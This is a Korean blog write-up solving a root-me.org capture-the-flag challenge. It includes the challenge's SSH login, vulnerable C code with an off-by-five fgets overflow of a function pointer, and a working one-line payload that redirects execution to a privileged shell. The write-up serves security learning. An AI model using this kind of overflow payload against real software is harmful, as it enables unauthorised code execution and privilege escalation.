[root-me.org] ELF x86 - Stack buffer overflow basic 2 Write-Up
두비니
·2019. 11. 2. 10:01
::login::
Host | challenge02.root-me.org |
Protocol | SSH |
Port | 2222 |
SSH access | ssh -p 2222 app-systeme-ch15@challenge02.root-me.org WebSSH |
Username | app-systeme-ch15 |
Password | app-systeme-ch15 |
::code::
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void shell() {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
void main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}
buf를 입력받는데, func의 주소까지 덮어서 shell의 주소로 바꾸면 되겠네요.
그럼 이제 shell의 주소는!
gdb의 p 명령어로 쉽게 구할 수 있기 때문에 이제 페이로드를 작성해봅시다. shell의 주소는 0x8048516이다
(python -c 'print "A"*128 + "\x16\x85\x04\x08"';cat) | ./ch15
ch15에 print "A"*128 + "\x16\x85\x04\x08" 를 전달하라는 내용입니다. 뒤에 붙어있는 ;cat는 출력되는 instructions를 받고 앞에 명령어를 실행하겠다는 뜻으로 일종의 에러방지이다.
끝!
'War Games > root-me.org' 카테고리의 다른 글
[root-me.org] ELF x86 - Race condition Write-Up (0) | 2019.11.05 |
---|---|
[root-me.org] ELF x86 - Format string bug basic 2 Write-Up (0) | 2019.11.05 |
[root-me.org] ELF x64 - Stack buffer overflow - basic Write-Up (0) | 2019.11.03 |
[root-me.org] ELF x86 - Format string bug basic 1 Write-Up (0) | 2019.11.02 |
[root-me.org] ELF x86 - Stack buffer overflow basic 1 write-up (0) | 2019.11.01 |